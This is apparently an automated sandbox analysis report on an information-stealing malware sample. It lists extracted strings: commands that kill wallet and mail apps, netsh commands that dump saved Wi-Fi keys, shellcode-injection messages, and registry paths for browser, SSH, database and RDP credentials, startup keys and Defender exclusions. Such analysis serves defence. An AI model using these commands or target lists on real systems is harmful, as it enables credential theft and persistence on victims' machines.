"cmd.exe /c taskkill /IM Skype.exe /F & "%s\Microsoft\Skype for Desktop\Skype.exe"" (Indicator: "cmd.exe /c"; File: "d1a1e6a2c0adc45a4cf40128e683499cd984d5803ad2e3a1ce26768a612eaec2.bin") Found string "cmd.exe /c taskkill /IM Discord.exe /F & "%s\Discord\app-*\Discord.exe"" (Indicator: "cmd.exe /c"; File: "d1a1e6a2c0adc45a4cf40128e683499cd984d5803ad2e3a1ce26768a612eaec2.bin") Found string "cmd.exe /c taskkill /IM OUTLOOK.EXE /F & outlook" (Indicator: "cmd.exe /c"; File: "d1a1e6a2c0adc45a4cf40128e683499cd984d5803ad2e3a1ce26768a612eaec2.bin") Found string "cmd.exe /c taskkill /IM Foxmail.exe /F & "%s\Foxmail\Foxmail.exe"" (Indicator: "cmd.exe /c"; File: "d1a1e6a2c0adc45a4cf40128e683499cd984d5803ad2e3a1ce26768a612eaec2.bin") Found string "cmd.exe /c taskkill /IM thunderbird.exe /F & thunderbird" (Indicator: "cmd.exe /c"; File: "d1a1e6a2c0adc45a4cf40128e683499cd984d5803ad2e3a1ce26768a612eaec2.bin") Found string "cmd.exe /c taskkill /IM DingTalk.exe /F & "%s\DingDing\DingTalk.exe"" (Indicator: "cmd.exe /c"; File: "d1a1e6a2c0adc45a4cf40128e683499cd984d5803ad2e3a1ce26768a612eaec2.bin") Found string "cmd.exe /c taskkill /IM Exodus.exe /F & "%s\Programs\Exodus\Exodus.exe"" (Indicator: "cmd.exe /c"; File: "d1a1e6a2c0adc45a4cf40128e683499cd984d5803ad2e3a1ce26768a612eaec2.bin") Found string "cmd.exe /c taskkill /IM electrum.exe /F & "%s\Electrum\electrum.exe"" (Indicator: "cmd.exe /c"; File: "d1a1e6a2c0adc45a4cf40128e683499cd984d5803ad2e3a1ce26768a612eaec2.bin") Found string "cmd.exe /c taskkill /IM Atomic Wallet.exe /F & "%s\Programs\Atomic Wallet\Atomic Wallet.exe"" (Indicator: "cmd.exe /c"; File: "d1a1e6a2c0adc45a4cf40128e683499cd984d5803ad2e3a1ce26768a612eaec2.bin") Found string "cmd.exe /c taskkill /IM Guarda.exe /F & "%s\Programs\Guarda\Guarda.exe"" (Indicator: "cmd.exe /c"; File: "d1a1e6a2c0adc45a4cf40128e683499cd984d5803ad2e3a1ce26768a612eaec2.bin") Found string "cmd.exe /c taskkill /IM Coinomi.exe /F & "%s\Coinomi\Coinomi.exe"" (Indicator: "cmd.exe /c"; File: "d1a1e6a2c0adc45a4cf40128e683499cd984d5803ad2e3a1ce26768a612eaec2.bin") Found string "cmd.exe /c taskkill /IM ArmoryQt.exe /F & "C:\Program Files (x86)\Armory\ArmoryQt.exe"" (Indicator: "cmd.exe /c"; File: "d1a1e6a2c0adc45a4cf40128e683499cd984d5803ad2e3a1ce26768a612eaec2.bin") Found string "cmd.exe /c taskkill /IM "Jaxx Liberty.exe" /F & "%s\Programs\com.liberty.jaxx\Jaxx Liberty.exe"" (Indicator: "cmd.exe /c"; File: "d1a1e6a2c0adc45a4cf40128e683499cd984d5803ad2e3a1ce26768a612eaec2.bin") Found string "cmd.exe /c chcp 65001 >nul && netsh wlan show profiles > "%s"" (Indicator: "cmd.exe /c"; File: "d1a1e6a2c0adc45a4cf40128e683499cd984d5803ad2e3a1ce26768a612eaec2.bin") Found string "cmd.exe /c chcp 65001 >nul && netsh wlan show profile name="%s" key=clear > "%s"" (Indicator: "cmd.exe /c"; File: "d1a1e6a2c0adc45a4cf40128e683499cd984d5803ad2e3a1ce26768a612eaec2.bin") Found string "cmd.exe /c %s" (Indicator: "cmd.exe /c"; File: "d1a1e6a2c0adc45a4cf40128e683499cd984d5803ad2e3a1ce26768a612eaec2.bin") Found string "cmd.exe /c %s /qn" (Indicator: "cmd.exe /c"; File: "d1a1e6a2c0adc45a4cf40128e683499cd984d5803ad2e3a1ce26768a612eaec2.bin") Found string "cmd.exe /c %s /S /silent /quiet" (Indicator: "cmd.exe /c"; File: "d1a1e6a2c0adc45a4cf40128e683499cd984d5803ad2e3a1ce26768a612eaec2.bin") file/memory contains long string with (Indicator: "cmd.exe /c"; File: "d1a1e6a2c0adc45a4cf40128e683499cd984d5803ad2e3a1ce26768a612eaec2.bin") Found string "cmd.exe /C "%s"" (Indicator: "cmd.exe /c"; File: "d1a1e6a2c0adc45a4cf40128e683499cd984d5803ad2e3a1ce26768a612eaec2.bin")48:T468,Found reference to API "FindResourceA" (Indicator: "FindResource"; File: "d1a1e6a2c0adc45a4cf40128e683499cd984d5803ad2e3a1ce26768a612eaec2.bin") Found reference to API "LockResource" (Indicator: "LockResource"; File: "d1a1e6a2c0adc45a4cf40128e683499cd984d5803ad2e3a1ce26768a612eaec2.bin") Found reference to API "SizeofResource" (Indicator: "SizeofResource"; File: "d1a1e6a2c0adc45a4cf40128e683499cd984d5803ad2e3a1ce26768a612eaec2.bin") Found reference to API "LoadResource" (Indicator: "LoadResource"; File: "d1a1e6a2c0adc45a4cf40128e683499cd984d5803ad2e3a1ce26768a612eaec2.bin") Found reference to API "SizeofResource" (Indicator: "SizeofResource"; Source: "00000000-00004616.00000001.150763.D1843000.00000002.mdmp") Found reference to API "FindResourceA" (Indicator: "FindResource"; Source: "00000000-00004616.00000001.150763.D1843000.00000002.mdmp") Found reference to API "LockResource" (Indicator: "LockResource"; Source: "00000000-00004616.00000001.150763.D1843000.00000002.mdmp") Found reference to API "LoadResource" (Indicator: "LoadResource"; Source: "00000000-00004616.00000001.150763.D1843000.00000002.mdmp")49:Ta82,Found reference to API "CreateThread" (Indicator: "CreateThread"; File: "d1a1e6a2c0adc45a4cf40128e683499cd984d5803ad2e3a1ce26768a612eaec2.bin") Found reference to API "OpenThread" (Indicator: "OpenThread"; File: "d1a1e6a2c0adc45a4cf40128e683499cd984d5803ad2e3a1ce26768a612eaec2.bin") Found reference to API "SuspendThread" (Indicator: "SuspendThread"; File: "d1a1e6a2c0adc45a4cf40128e683499cd984d5803ad2e3a1ce26768a612eaec2.bin") Found reference to API "ResumeThread" (Indicator: "ResumeThread"; File: "d1a1e6a2c0adc45a4cf40128e683499cd984d5803ad2e3a1ce26768a612eaec2.bin") Found reference to API "CreateThread failed" (Indicator: "CreateThread"; File: "d1a1e6a2c0adc45a4cf40128e683499cd984d5803ad2e3a1ce26768a612eaec2.bin") Found reference to API "NtCreateThreadEx" (Indicator: "CreateThread"; File: "d1a1e6a2c0adc45a4cf40128e683499cd984d5803ad2e3a1ce26768a612eaec2.bin") Found reference to API "OK: Shellcode injected (NtCreateThreadEx)" (Indicator: "CreateThread"; File: "d1a1e6a2c0adc45a4cf40128e683499cd984d5803ad2e3a1ce26768a612eaec2.bin") Found reference to API "ERROR: NtCreateThreadEx failed (0x%08X)" (Indicator: "CreateThread"; File: "d1a1e6a2c0adc45a4cf40128e683499cd984d5803ad2e3a1ce26768a612eaec2.bin") Found reference to API "ERROR: NtCreateThreadEx not found" (Indicator: "CreateThread"; File: "d1a1e6a2c0adc45a4cf40128e683499cd984d5803ad2e3a1ce26768a612eaec2.bin") Found reference to API "CreateThread failed" (Indicator: "CreateThread"; Source: "00000000-00004616.00000001.150763.D1843000.00000002.mdmp") Found reference to API "NtCreateThreadEx" (Indicator: "CreateThread"; Source: "00000000-00004616.00000001.150763.D1843000.00000002.mdmp") Found reference to API "OK: Shellcode injected (NtCreateThreadEx)" (Indicator: "CreateThread"; Source: "00000000-00004616.00000001.150763.D1843000.00000002.mdmp") Found reference to API "ERROR: NtCreateThreadEx failed (0x%08X)" (Indicator: "CreateThread"; Source: "00000000-00004616.00000001.150763.D1843000.00000002.mdmp") Found reference to API "ERROR: NtCreateThreadEx not found" (Indicator: "CreateThread"; Source: "00000000-00004616.00000001.150763.D1843000.00000002.mdmp") Found reference to API "SuspendThread" (Indicator: "SuspendThread"; Source: "00000000-00004616.00000001.150763.D1843000.00000002.mdmp") Found reference to API "ResumeThread" (Indicator: "ResumeThread"; Source: "00000000-00004616.00000001.150763.D1843000.00000002.mdmp") Found reference to API "CreateThread" (Indicator: "CreateThread"; Source: "00000000-00004616.00000001.150763.D1843000.00000002.mdmp") Found reference to API "OpenThread" (Indicator: "OpenThread"; Source: "00000000-00004616.00000001.150763.D1843000.00000002.mdmp")4a:T74a5,"\BraveSoftware\Brave-Browser\User Data" in Source: d1a1e6a2c0adc45a4cf40128e683499cd984d5803ad2e3a1ce26768a612eaec2.bin "\AVAST Software\Browser\User Data" in Source: d1a1e6a2c0adc45a4cf40128e683499cd984d5803ad2e3a1ce26768a612eaec2.bin "\BraveSoftware\Brave-Browser\Application\brave.exe" in Source: d1a1e6a2c0adc45a4cf40128e683499cd984d5803ad2e3a1ce26768a612eaec2.bin "\AVAST Software\Browser\Application\AvastBrowser.exe" in Source: d1a1e6a2c0adc45a4cf40128e683499cd984d5803ad2e3a1ce26768a612eaec2.bin "HARDWARE\DESCRIPTION\System\CentralProcessor\0" in Source: d1a1e6a2c0adc45a4cf40128e683499cd984d5803ad2e3a1ce26768a612eaec2.bin "%s\BraveSoftware\Brave-Browser\User Data" in Source: d1a1e6a2c0adc45a4cf40128e683499cd984d5803ad2e3a1ce26768a612eaec2.bin "%s\Opera Software\Opera Stable" in Source: d1a1e6a2c0adc45a4cf40128e683499cd984d5803ad2e3a1ce26768a612eaec2.bin "SOFTWARE\Microsoft\Windows\CurrentVersion\App Paths\Google Chrome" in Source: d1a1e6a2c0adc45a4cf40128e683499cd984d5803ad2e3a1ce26768a612eaec2.bin "%s\BraveSoftware\Brave-Browser\Application\brave.exe" in Source: d1a1e6a2c0adc45a4cf40128e683499cd984d5803ad2e3a1ce26768a612eaec2.bin "%s\BraveSoftware\Brave-Browser\Application" in Source: d1a1e6a2c0adc45a4cf40128e683499cd984d5803ad2e3a1ce26768a612eaec2.bin "BraveSoftware\Brave-Browser" in Source: d1a1e6a2c0adc45a4cf40128e683499cd984d5803ad2e3a1ce26768a612eaec2.bin "%s\Opera Software\Opera Neon\Application\neon.exe" in Source: d1a1e6a2c0adc45a4cf40128e683499cd984d5803ad2e3a1ce26768a612eaec2.bin "%s\AVAST Software\Browser\Application\AvastBrowser.exe" in Source: d1a1e6a2c0adc45a4cf40128e683499cd984d5803ad2e3a1ce26768a612eaec2.bin "%s\Software\Microsoft\Windows\CurrentVersion\Run" in Source: d1a1e6a2c0adc45a4cf40128e683499cd984d5803ad2e3a1ce26768a612eaec2.bin "Software\Microsoft\Windows NT\CurrentVersion\AppCompatFlags\Layers" in Source: d1a1e6a2c0adc45a4cf40128e683499cd984d5803ad2e3a1ce26768a612eaec2.bin "SYSTEM\CurrentControlSet\Control\Class\{4d36e968-e325-11ce-bfc1-08002be10318}" in Source: d1a1e6a2c0adc45a4cf40128e683499cd984d5803ad2e3a1ce26768a612eaec2.bin "SOFTWARE\Microsoft\Windows Defender" in Source: d1a1e6a2c0adc45a4cf40128e683499cd984d5803ad2e3a1ce26768a612eaec2.bin "SOFTWARE\Microsoft\Windows Advanced Threat Protection" in Source: d1a1e6a2c0adc45a4cf40128e683499cd984d5803ad2e3a1ce26768a612eaec2.bin "Software\Classes\http\shell\open\command" in Source: d1a1e6a2c0adc45a4cf40128e683499cd984d5803ad2e3a1ce26768a612eaec2.bin "SOFTWARE\Classes\http\shell\open\command" in Source: d1a1e6a2c0adc45a4cf40128e683499cd984d5803ad2e3a1ce26768a612eaec2.bin "raveSoftware\Brave-Browser\User Data" in Source: d1a1e6a2c0adc45a4cf40128e683499cd984d5803ad2e3a1ce26768a612eaec2.bin "Software\%s\%s-Qt" in Source: d1a1e6a2c0adc45a4cf40128e683499cd984d5803ad2e3a1ce26768a612eaec2.bin "BraveSoftware\Brave-Browser\User Data" in Source: d1a1e6a2c0adc45a4cf40128e683499cd984d5803ad2e3a1ce26768a612eaec2.bin "Opera Software\Opera Stable" in Source: d1a1e6a2c0adc45a4cf40128e683499cd984d5803ad2e3a1ce26768a612eaec2.bin "Opera Software\Opera GX Stable" in Source: d1a1e6a2c0adc45a4cf40128e683499cd984d5803ad2e3a1ce26768a612eaec2.bin "Avast Software\Browser\User Data" in Source: d1a1e6a2c0adc45a4cf40128e683499cd984d5803ad2e3a1ce26768a612eaec2.bin "Opera Software\Opera Neon\User Data" in Source: d1a1e6a2c0adc45a4cf40128e683499cd984d5803ad2e3a1ce26768a612eaec2.bin "Software\Classes\%s\DefaultIcon" in Source: d1a1e6a2c0adc45a4cf40128e683499cd984d5803ad2e3a1ce26768a612eaec2.bin "Software\Classes\%s\shell\open\command" in Source: d1a1e6a2c0adc45a4cf40128e683499cd984d5803ad2e3a1ce26768a612eaec2.bin "SOFTWARE\Microsoft\Windows\CurrentVersion\App Paths\%s" in Source: d1a1e6a2c0adc45a4cf40128e683499cd984d5803ad2e3a1ce26768a612eaec2.bin "SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall" in Source: d1a1e6a2c0adc45a4cf40128e683499cd984d5803ad2e3a1ce26768a612eaec2.bin "SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\Uninstall" in Source: d1a1e6a2c0adc45a4cf40128e683499cd984d5803ad2e3a1ce26768a612eaec2.bin "SOFTWARE\Microsoft\Windows\CurrentVersion\Run" in Source: d1a1e6a2c0adc45a4cf40128e683499cd984d5803ad2e3a1ce26768a612eaec2.bin "Software\Valve\Steam" in Source: d1a1e6a2c0adc45a4cf40128e683499cd984d5803ad2e3a1ce26768a612eaec2.bin "Software\Martin Prikryl\WinSCP 2\Configuration\Security" in Source: d1a1e6a2c0adc45a4cf40128e683499cd984d5803ad2e3a1ce26768a612eaec2.bin "Software\Martin Prikryl\WinSCP 2\Sessions" in Source: d1a1e6a2c0adc45a4cf40128e683499cd984d5803ad2e3a1ce26768a612eaec2.bin "Software\Martin Prikryl\WinSCP 2\Sessions\%s" in Source: d1a1e6a2c0adc45a4cf40128e683499cd984d5803ad2e3a1ce26768a612eaec2.bin "SOFTWARE\Foxmail\Install" in Source: d1a1e6a2c0adc45a4cf40128e683499cd984d5803ad2e3a1ce26768a612eaec2.bin "SOFTWARE\WOW6432Node\Foxmail\Install" in Source: d1a1e6a2c0adc45a4cf40128e683499cd984d5803ad2e3a1ce26768a612eaec2.bin "SOFTWARE\Foxmail" in Source: d1a1e6a2c0adc45a4cf40128e683499cd984d5803ad2e3a1ce26768a612eaec2.bin "SOFTWARE\WOW6432Node\Foxmail" in Source: d1a1e6a2c0adc45a4cf40128e683499cd984d5803ad2e3a1ce26768a612eaec2.bin "SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\Foxmail_is1" in Source: d1a1e6a2c0adc45a4cf40128e683499cd984d5803ad2e3a1ce26768a612eaec2.bin "SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\Uninstall\Foxmail_is1" in Source: d1a1e6a2c0adc45a4cf40128e683499cd984d5803ad2e3a1ce26768a612eaec2.bin "SOFTWARE\Microsoft\Windows\CurrentVersion\App Paths\Foxmail.exe" in Source: d1a1e6a2c0adc45a4cf40128e683499cd984d5803ad2e3a1ce26768a612eaec2.bin "Software\Microsoft\Office\15.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676" in Source: d1a1e6a2c0adc45a4cf40128e683499cd984d5803ad2e3a1ce26768a612eaec2.bin "Software\Microsoft\Office\16.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676" in Source: d1a1e6a2c0adc45a4cf40128e683499cd984d5803ad2e3a1ce26768a612eaec2.bin "Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676" in Source: d1a1e6a2c0adc45a4cf40128e683499cd984d5803ad2e3a1ce26768a612eaec2.bin "Software\Microsoft\Windows Messaging Subsystem\Profiles\9375CFF0413111d3B88A00104B2A6676" in Source: d1a1e6a2c0adc45a4cf40128e683499cd984d5803ad2e3a1ce26768a612eaec2.bin "Software\Tencent\WeChat" in Source: d1a1e6a2c0adc45a4cf40128e683499cd984d5803ad2e3a1ce26768a612eaec2.bin "SOFTWARE\Microsoft\Windows NT\CurrentVersion" in Source: d1a1e6a2c0adc45a4cf40128e683499cd984d5803ad2e3a1ce26768a612eaec2.bin "Software\Epic Games\EOS" in Source: d1a1e6a2c0adc45a4cf40128e683499cd984d5803ad2e3a1ce26768a612eaec2.bin "Software\Electronic Arts\EA Desktop" in Source: d1a1e6a2c0adc45a4cf40128e683499cd984d5803ad2e3a1ce26768a612eaec2.bin "Software\GOG.com\GalaxyClient\paths" in Source: d1a1e6a2c0adc45a4cf40128e683499cd984d5803ad2e3a1ce26768a612eaec2.bin "BraveSoftware\Brave-Browser-Beta\User Data" in Source: d1a1e6a2c0adc45a4cf40128e683499cd984d5803ad2e3a1ce26768a612eaec2.bin "BraveSoftware\Brave-Browser-Nightly\User Data" in Source: d1a1e6a2c0adc45a4cf40128e683499cd984d5803ad2e3a1ce26768a612eaec2.bin "Opera Software\Opera Crypto Stable" in Source: d1a1e6a2c0adc45a4cf40128e683499cd984d5803ad2e3a1ce26768a612eaec2.bin "Opera Software\Opera Crypto Developer" in Source: d1a1e6a2c0adc45a4cf40128e683499cd984d5803ad2e3a1ce26768a612eaec2.bin "Opera Software\Opera Developer" in Source: d1a1e6a2c0adc45a4cf40128e683499cd984d5803ad2e3a1ce26768a612eaec2.bin "Opera Software\Opera Next" in Source: d1a1e6a2c0adc45a4cf40128e683499cd984d5803ad2e3a1ce26768a612eaec2.bin "AVAST Software\Browser\User Data" in Source: d1a1e6a2c0adc45a4cf40128e683499cd984d5803ad2e3a1ce26768a612eaec2.bin "Software\Microsoft\Windows\CurrentVersion\Uninstall" in Source: d1a1e6a2c0adc45a4cf40128e683499cd984d5803ad2e3a1ce26768a612eaec2.bin "Software\Mobatek\MobaXterm\Sessions" in Source: d1a1e6a2c0adc45a4cf40128e683499cd984d5803ad2e3a1ce26768a612eaec2.bin "Software\Mobatek\MobaXterm\Passwords" in Source: d1a1e6a2c0adc45a4cf40128e683499cd984d5803ad2e3a1ce26768a612eaec2.bin "Software\Mobatek\MobaXterm\Credentials" in Source: d1a1e6a2c0adc45a4cf40128e683499cd984d5803ad2e3a1ce26768a612eaec2.bin "Software\Mobatek\MobaXterm\M" in Source: d1a1e6a2c0adc45a4cf40128e683499cd984d5803ad2e3a1ce26768a612eaec2.bin "Software\SimonTatham\PuTTY\Sessions" in Source: d1a1e6a2c0adc45a4cf40128e683499cd984d5803ad2e3a1ce26768a612eaec2.bin "Software\SimonTatham\PuTTY\Sessions\%s" in Source: d1a1e6a2c0adc45a4cf40128e683499cd984d5803ad2e3a1ce26768a612eaec2.bin "Software\SimonTatham\PuTTY\SshHostKeys" in Source: d1a1e6a2c0adc45a4cf40128e683499cd984d5803ad2e3a1ce26768a612eaec2.bin "Software\9bis.com\KiTTY\Sessions" in Source: d1a1e6a2c0adc45a4cf40128e683499cd984d5803ad2e3a1ce26768a612eaec2.bin "Software\9bis.com\KiTTY\Sessions\%s" in Source: d1a1e6a2c0adc45a4cf40128e683499cd984d5803ad2e3a1ce26768a612eaec2.bin "Software\PremiumSoft\Navicat\Servers" in Source: d1a1e6a2c0adc45a4cf40128e683499cd984d5803ad2e3a1ce26768a612eaec2.bin "Software\PremiumSoft\NavicatPG\Servers" in Source: d1a1e6a2c0adc45a4cf40128e683499cd984d5803ad2e3a1ce26768a612eaec2.bin "Software\PremiumSoft\NavicatMARIADB\Servers" in Source: d1a1e6a2c0adc45a4cf40128e683499cd984d5803ad2e3a1ce26768a612eaec2.bin "Software\PremiumSoft\NavicatMONGODB\Servers" in Source: d1a1e6a2c0adc45a4cf40128e683499cd984d5803ad2e3a1ce26768a612eaec2.bin "Software\PremiumSoft\NavicatMSSQL\Servers" in Source: d1a1e6a2c0adc45a4cf40128e683499cd984d5803ad2e3a1ce26768a612eaec2.bin "Software\PremiumSoft\NavicatORA\Servers" in Source: d1a1e6a2c0adc45a4cf40128e683499cd984d5803ad2e3a1ce26768a612eaec2.bin "Software\PremiumSoft\NavicatSQLite\Servers" in Source: d1a1e6a2c0adc45a4cf40128e683499cd984d5803ad2e3a1ce26768a612eaec2.bin "Software\HeidiSQL\Servers" in Source: d1a1e6a2c0adc45a4cf40128e683499cd984d5803ad2e3a1ce26768a612eaec2.bin "Software\HeidiSQL\Servers\%s" in Source: d1a1e6a2c0adc45a4cf40128e683499cd984d5803ad2e3a1ce26768a612eaec2.bin "Software\Microsoft\Terminal Server Client\Default" in Source: d1a1e6a2c0adc45a4cf40128e683499cd984d5803ad2e3a1ce26768a612eaec2.bin "Software\Microsoft\Terminal Server Client\Servers" in Source: d1a1e6a2c0adc45a4cf40128e683499cd984d5803ad2e3a1ce26768a612eaec2.bin "Software\Microsoft\Terminal Server Client\Servers\%s" in Source: d1a1e6a2c0adc45a4cf40128e683499cd984d5803ad2e3a1ce26768a612eaec2.bin "SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\SpecialAccounts\UserList" in Source: d1a1e6a2c0adc45a4cf40128e683499cd984d5803ad2e3a1ce26768a612eaec2.bin "SYSTEM\CurrentControlSet\Control\Terminal Server" in Source: d1a1e6a2c0adc45a4cf40128e683499cd984d5803ad2e3a1ce26768a612eaec2.bin "SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp" in Source: d1a1e6a2c0adc45a4cf40128e683499cd984d5803ad2e3a1ce26768a612eaec2.bin "SYSTEM\CurrentControlSet\Control\Lsa" in Source: d1a1e6a2c0adc45a4cf40128e683499cd984d5803ad2e3a1ce26768a612eaec2.bin "HKCU\Run" in Source: d1a1e6a2c0adc45a4cf40128e683499cd984d5803ad2e3a1ce26768a612eaec2.bin "HKLM\Run" in Source: d1a1e6a2c0adc45a4cf40128e683499cd984d5803ad2e3a1ce26768a612eaec2.bin "HKCU\RunOnce" in Source: d1a1e6a2c0adc45a4cf40128e683499cd984d5803ad2e3a1ce26768a612eaec2.bin "SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce" in Source: d1a1e6a2c0adc45a4cf40128e683499cd984d5803ad2e3a1ce26768a612eaec2.bin "HKLM\RunOnce" in Source: d1a1e6a2c0adc45a4cf40128e683499cd984d5803ad2e3a1ce26768a612eaec2.bin "HKCU\Policies\Run" in Source: d1a1e6a2c0adc45a4cf40128e683499cd984d5803ad2e3a1ce26768a612eaec2.bin "SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run" in Source: d1a1e6a2c0adc45a4cf40128e683499cd984d5803ad2e3a1ce26768a612eaec2.bin "HKLM\Policies\Run" in Source: d1a1e6a2c0adc45a4cf40128e683499cd984d5803ad2e3a1ce26768a612eaec2.bin "HKLM\Run (32-bit)" in Source: d1a1e6a2c0adc45a4cf40128e683499cd984d5803ad2e3a1ce26768a612eaec2.bin "SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\Run" in Source: d1a1e6a2c0adc45a4cf40128e683499cd984d5803ad2e3a1ce26768a612eaec2.bin "HKCU\Run (Disabled)" in Source: d1a1e6a2c0adc45a4cf40128e683499cd984d5803ad2e3a1ce26768a612eaec2.bin "SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\StartupApproved\Run" in Source: d1a1e6a2c0adc45a4cf40128e683499cd984d5803ad2e3a1ce26768a612eaec2.bin "HKLM\Run (Disabled)" in Source: d1a1e6a2c0adc45a4cf40128e683499cd984d5803ad2e3a1ce26768a612eaec2.bin "SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" in Source: d1a1e6a2c0adc45a4cf40128e683499cd984d5803ad2e3a1ce26768a612eaec2.bin "SOFTWARE\Microsoft\Windows Defender\Exclusions\Processes" in Source: d1a1e6a2c0adc45a4cf40128e683499cd984d5803ad2e3a1ce26768a612eaec2.bin "SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" in Source: d1a1e6a2c0adc45a4cf40128e683499cd984d5803ad2e3a1ce26768a612eaec2.bin "SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions" in Source: d1a1e6a2c0adc45a4cf40128e683499cd984d5803ad2e3a1ce26768a612eaec2.bin "Software\Microsoft\Windows\CurrentVersion\Policies\System" in Source: d1a1e6a2c0adc45a4cf40128e683499cd984d5803ad2e3a1ce26768a612eaec2.bin "SOFTWARE\Policies\Microsoft\Windows\System" in Source: d1a1e6a2c0adc45a4cf40128e683499cd984d5803ad2e3a1ce26768a612eaec2.bin "Software\Microsoft\Windows\CurrentVersion\Policies\Explorer" in Source: d1a1e6a2c0adc45a4cf40128e683499cd984d5803ad2e3a1ce26768a612eaec2.bin "System\CurrentControlSet\Services\SharedAccess\Parameters\FirewallPolicy\StandardProfile" in Source: d1a1e6a2c0adc45a4cf40128e683499cd984d5803ad2e3a1ce26768a612eaec2.bin "SOFTWARE\Policies\Microsoft\Windows\WinRE" in Source: d1a1e6a2c0adc45a4cf40128e683499cd984d5803ad2e3a1ce26768a612eaec2.bin "SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU" in Source: d1a1e6a2c0adc45a4cf40128e683499cd984d5803ad2e3a1ce26768a612eaec2.bin "SYSTEM\CurrentControlSet\Services\USBSTOR" in Source: d1a1e6a2c0adc45a4cf40128e683499cd984d5803ad2e3a1ce26768a612eaec2.bin "SOFTWARE\Policies\Google\Chrome" in Source: d1a1e6a2c0adc45a4cf40128e683499cd984d5803ad2e3a1ce26768a612eaec2.bin "SOFTWARE\Policies\Microsoft\Edge" in Source: d1a1e6a2c0adc45a4cf40128e683499cd984d5803ad2e3a1ce26768a612eaec2.bin "Software\Microsoft\Windows\CurrentVersion\Run" in Source: d1a1e6a2c0adc45a4cf40128e683499cd984d5803ad2e3a1ce26768a612eaec2.bin "SYSTEM\CurrentControlSet\Control\Session Manager" in Source: d1a1e6a2c0adc45a4cf40128e683499cd984d5803ad2e3a1ce26768a612eaec2.bin "Software\Policies\Microsoft\Internet Explorer\Main" in Source: 00000000-00004616.00000000.148841.F7130000.00000004.mdmp 00000000-00004616.00000001.150763.F7130000.00000004.mdmp 00000000-00004616.00000002.152681.F7130000.00000004.mdmp 00000000-00004616.00000003.158191.F7130000.00000004.mdmp "Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\" in Source: 00000000-00004616.00000000.148841.F7130000.00000004.mdmp 00000000-00004616.00000001.150763.F7130000.00000004.mdmp 00000000-00004616.00000002.152681.F7130000.00000004.mdmp 00000000-00004616.00000003.158191.F7130000.00000004.mdmp "Software\Policies\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\0" in Source: 00000000-00004616.00000000.148841.F7130000.00000004.mdmp 00000000-00004616.00000001.150763.F7130000.00000004.mdmp 00000000-00004616.00000002.152681.F7130000.00000004.mdmp 00000000-00004616.00000003.158191.F7130000.00000004.mdmp "Software\Policies\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\1" in Source: 00000000-00004616.00000000.148841.F7130000.00000004.mdmp 00000000-00004616.00000001.150763.F7130000.00000004.mdmp 00000000-00004616.00000002.152681.F7130000.00000004.mdmp 00000000-00004616.00000003.158191.F7130000.00000004.mdmp "Software\Policies\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\4" in Source: 00000000-00004616.00000000.148841.F7130000.00000004.mdmp 00000000-00004616.00000001.150763.F7130000.00000004.mdmp 00000000-00004616.00000002.152681.F7130000.00000004.mdmp 00000000-00004616.00000003.158191.F7130000.00000004.mdmp "Software\Policies\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\2" in Source: 00000000-00004616.00000000.148841.F7130000.00000004.mdmp 00000000-00004616.00000001.150763.F7130000.00000004.mdmp 00000000-00004616.00000002.152681.F7130000.00000004.mdmp 00000000-00004616.00000003.158191.F7130000.00000004.mdmp "Software\Policies\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\3" in Source: 00000000-00004616.00000000.148841.F7130000.00000004.mdmp 00000000-00004616.00000001.150763.F7130000.00000004.mdmp 00000000-00004616.00000002.152681.F7130000.00000004.mdmp 00000000-00004616.00000003.158191.F7130000.00000004.mdmp "\BraveSoftware\Brave-Browser\User Data" in Source: 00000000-00004616.00000001.150763.D1843000.00000002.mdmp "\AVAST Software\Browser\User Data" in Source: 00000000-00004616.00000001.150763.D1843000.00000002.mdmp "\BraveSoftware\Brave-Browser\Application\brave.exe" in Source: 00000000-00004616.00000001.150763.D1843000.00000002.mdmp "\AVAST Software\Browser\Application\AvastBrowser.exe" in Source: 00000000-00004616.00000001.150763.D1843000.00000002.mdmp "HARDWARE\DESCRIPTION\System\CentralProcessor\0" in Source: 00000000-00004616.00000001.150763.D1843000.00000002.mdmp "%s\BraveSoftware\Brave-Browser\User Data" in Source: 00000000-00004616.00000001.150763.D1843000.00000002.mdmp "%s\Opera Software\Opera Stable" in Source: 00000000-00004616.00000001.150763.D1843000.00000002.mdmp "SOFTWARE\Microsoft\Windows\CurrentVersion\App Paths\Google Chrome" in Source: 00000000-00004616.00000001.150763.D1843000.00000002.mdmp "%s\BraveSoftware\Brave-Browser\Application\brave.exe" in Source: 00000000-00004616.00000001.150763.D1843000.00000002.mdmp "%s\BraveSoftware\Brave-Browser\Application" in Source: 00000000-00004616.00000001.150763.D1843000.00000002.mdmp "BraveSoftware\Brave-Browser" in Source: 00000000-00004616.00000001.150763.D1843000.00000002.mdmp "%s\Opera Software\Opera Neon\Application\neon.exe" in Source: 00000000-00004616.00000001.150763.D1843000.00000002.mdmp "%s\AVAST Software\Browser\Application\AvastBrowser.exe" in Source: 00000000-00004616.00000001.150763.D1843000.00000002.mdmp "%s\Software\Microsoft\Windows\CurrentVersion\Run" in Source: 00000000-00004616.00000001.150763.D1843000.00000002.mdmp "Software\Microsoft\Windows 